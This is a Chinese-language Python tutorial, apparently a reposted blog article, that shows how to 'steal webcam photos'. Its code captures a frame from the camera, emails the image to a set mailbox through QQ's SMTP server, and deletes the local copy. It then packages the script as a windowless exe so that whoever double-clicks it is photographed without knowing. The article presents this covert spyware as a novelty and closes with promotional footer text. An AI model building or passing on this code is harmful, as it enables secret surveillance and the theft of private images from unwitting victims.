python竊取攝像頭照片(攝像頭拍照+郵箱發送+打包exe)


一、思路

1.python調用攝像頭拍照

python可以調用電腦的攝像頭進行拍照,然后保存照片。

2.發送照片到指定郵箱

通過QQ郵箱官方網站獲取授權碼方法,將照片發送到指定的郵箱。最后將本地的照片刪除。

3.python程序打包成exe可執行文件

借助pyinstaller庫,py打包成exe,這樣就可以在沒有python環境的pc機上執行程序。

二、代碼

1.python調用攝像頭拍照

所需庫

import os                                       
# 刪除圖片文件
import cv2                                      
# 調用攝像頭拍攝照片

代碼

# 調用攝像頭拍攝照片
def get_photo():
    # 開啟攝像頭
    cap = cv2.VideoCapture(0)           
    # 將攝像頭中的一幀圖片數據保存
    f, frame = cap.read()      
    # 將圖片保存為本地文件
    cv2.imwrite('image.jpg', frame)    
    # 關閉攝像頭
    cap.release()

通過get_photo函數可以實現調用攝像頭拍照,並保存照片為image.jpg

2.發送照片到指定郵箱

獲取郵箱授權碼

步驟一:登錄郵箱->設置->賬戶

步驟二:找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服務】,先開啟,再點擊【生成授權碼】,如下圖所示

步驟三:生成的結果如下:

所需庫

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage

代碼

# 把圖片文件發送到我的郵箱
def send():
    sender = '發件人郵箱'
    receivers = '收件人郵箱'
    message =  MIMEMultipart('related')
    subject = '公眾號:Python爬蟲數據分析挖掘'
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receivers
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
    message.attach(content)


    file=open("image.jpg", "rb")
    img_data = file.read()
    file.close()


    img = MIMEImage(img_data)
    img.add_header('Content-ID', 'imageid')
    message.attach(img)


    try:
        server=smtplib.SMTP_SSL("smtp.qq.com",465)
        server.login(sender,"發件人的郵箱授權碼")
        server.sendmail(sender,receivers,message.as_string())
        server.quit()
        print ("郵件發送成功")
    except smtplib.SMTPException as e:
        print(e)

這里響應填寫三部分內容:1、發件人郵箱,2、收件人郵箱,3、發件人的郵箱授權碼

發送照片到郵箱之后,刪除本地image.jpg

os.remove('image.jpg') #刪除本地照片

3.python程序打包成exe可執行文件

所需庫

pyinstaller

3.1、安裝pyinstaller

###方法一
pip install pyinstaller
###方法二
pip install -i https://pypi.doubanio.com/simple/ pyinstaller

如果覺得方法一安裝慢,可以選擇方法二。

3.2、打包exe程序

打開DOS窗口,輸入命令:

pyinstaller -F -w *.py(星號是.py的全部路徑)

pyinstaller -F -w  C:\Users\Administrator\Desktop\0110\main.py

出現這個圖,表示打包成功,打包好的exe文件存放在紅框顯示的路徑中


這樣我們的main.py程序就已經成功打包成exe可執行文件了。

三、效果演示

雙擊打開main.exe文件

程序運行后就自動退出,這樣我們的郵箱就收到了照片(這個照片是當前打開這個exe文件人的真實照片)

這里就直接戴口罩去測試程序了(不好意思露面,哈哈哈)

可以看到我們的郵箱就收到了這一張圖片,是不是覺得很神奇

四、結尾

以上就是python竊取攝像頭照片(攝像頭拍照+郵箱發送+打包exe)的全部內容,完整源碼main.exe這兩個文件已經上傳到公眾號,需要的小伙伴可以去領取。

本文完整源碼獲取方式

公眾號回復:攝像頭拍照

------------------- End -------------------

30行爬蟲代碼實現中英互譯


分析B站《送你一朵小紅花》彈幕評論

4個小時我賺了600塊

加群獲取學習資料

公眾號回復:人群

歡迎大家點贊,留言,轉發,轉載,感謝大家的相伴與支持

想加入Python學習群請在后台回復【入群

萬水千山總是情,點個【在看】行不行

 

 
【加群獲取學習資料QQ群:901381280】
【各種爬蟲源碼獲取方式】
識別文末二維碼,回復:爬蟲源碼
歡迎關注公眾號:Python爬蟲數據分析挖掘,方便及時閱讀最新文章
回復【開源源碼】免費獲取更多開源項目源碼

ÃÃæÃÃìÃÃâÃÃèÃÃÿÃÃæÃÃëÃÃçÃÃà


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM